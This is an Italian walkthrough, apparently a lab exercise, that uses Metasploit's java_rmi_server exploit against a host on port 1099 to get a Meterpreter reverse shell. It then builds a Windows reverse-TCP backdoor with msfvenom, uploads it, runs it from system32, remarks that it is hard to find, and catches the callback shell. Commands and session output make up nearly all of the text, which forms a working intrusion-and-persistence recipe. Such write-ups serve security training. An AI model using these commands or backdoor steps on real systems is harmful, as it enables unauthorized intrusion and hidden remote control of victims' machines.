Cerchiamo l’exploit adatto alla porta 1099 sul servizio java rmi

```
  4   exploit/multi/misc/java_rmi_server
```

settiamo rhosts con l’ip di meta

```
RHOSTS                    yes
```

settiamo srvhost con l’ip di kali

```
 SRVHOST    0.0.0.0          yes
```

Lanciamo l’esploit e a quetso punto abbiamo accesso al terminale

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/K8yedzYBsxnp
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:3953
1) at 2023-03-10 03:39:22 -0500

meterpreter >
```

Recuperiamo le impostazioni di rete con il comando ifconfig

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe76:8efb
IPv6 Netmask : ::
```

Con il comando route possiamo recuperare la routing table

```
IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0

IPv6 network routes
===================

    Subnet                    Netmask  Gateway  Metric  Interface
    ------                    -------  -------  ------  ---------
    ::1                       ::       ::
    fe80::a00:27ff:fe76:8efb  ::       ::
```

CREIAMO LA BACKDOOR CON QUESTO COMANDO INSERENDO IP LOCALE E PORTA LOCALE

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > backdoor.exe

CON LA VULNERABILITA VISTA IN PRECEDENZA ENTRIAMO SU WINDOWS E INSERIAMO LA BACKDOOR CON IL COMANDO UPLOAD BACKDOOR.EXE

```
meterpreter > upload backdoor.exe
[*] uploading  : /home/kali/backdoor.exe → backdoor.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/kali/backdoor.exe → backdoor.exe
[*] uploaded   : /home/kali/backdoor.exe → backdoor.exe
```

con questo comando lanciamo la backdoor su windows

```
meterpreter > execute backdoor.exe
```

come vediamo la backdoor è stata inserita nei file di sistema ed è gia difficile da trovare

```
meterpreter > search -f backdoor.exe
Found 1 result...
=================

Path                            Size (bytes)  Modified (UTC)
----                            ------------  --------------
c:\WINDOWS\system32\backdoor.exe  73802         2023-03-10 06:37:40 -0500
```

con un reverse tcp ci mettiamo in ascolto sulle porte che avevamo inserito prima nel file backdoor.exe e a questo punto siamo dentro

```
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4440
[*] Sending stage (175686 bytes) to 192.168.11.200
[*] Meterpreter session 2 opened (192.168.11.111:4440 → 192.168.11.200:1048) at 2023-03-10 06:39:47 -0500

meterpreter > ifconfig
[-] Unknown command: i◆fconfig
meterpreter > ipconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface  2
============
Name         : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit◆ di pianificazione pacchetti
Hardware MAC : 08:00:27:0d:31:75
MTU          : 1500
IPv4 Address : 192.168.11.200
IPv4 Netmask : 255.255.255.0
```